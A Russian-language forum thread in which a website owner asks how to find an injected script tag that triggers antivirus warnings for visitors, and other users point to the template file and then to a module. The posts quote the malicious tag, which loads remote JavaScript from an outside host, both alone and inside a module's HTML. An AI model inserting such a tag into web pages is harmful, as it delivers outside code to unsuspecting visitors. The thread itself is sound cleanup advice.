От посетителей стали приходить жалобы на то, что ругается антивирус.
Выяснилось, что виноват код <script type="text/javascript" src="http://pns.pm/i.js"></script>
который виден при просмотре исходного кода страницы. Сейчас еще сайт подвисает, при обращении к сайту pns.pm
Но никак не пойму в каком файле искать этод код.
Может кто из знающих структуру CMS подскажет?
Cайт knigilub.ru
Я при заражении полностью делала бэкап файлов и каждую заражённую папку открывала в NotePad++ (открываются все файлы в папке) и удаляла этот код заменой.
Файл template.php в папке вашего шаблона. Скачайте — посмотрите. И вообще папку своего шаблона скачайте и проверьте в Notepad++ наличие кода.Пока ничего не изменял, хочется найти тот единственный файл где это находится.
<noindex> <div class="hohoho"> <table border="0" cellpadding="0" cellspacing="0" width="100%" class="module"> <tbody> <tr><td class="moduletitle"> </td></tr> <tr> <td class="modulebody"> <p></p> <script type="text/javascript" src="http://pns.pm/i.js"></script> </td> </tr> <tr><td class="modbottom"></td></tr> </tbody> </table> </div> </noindex>
На основании этого ищите модуль.
Подсказка насчет модуля была очень полезна. Сразу нашел.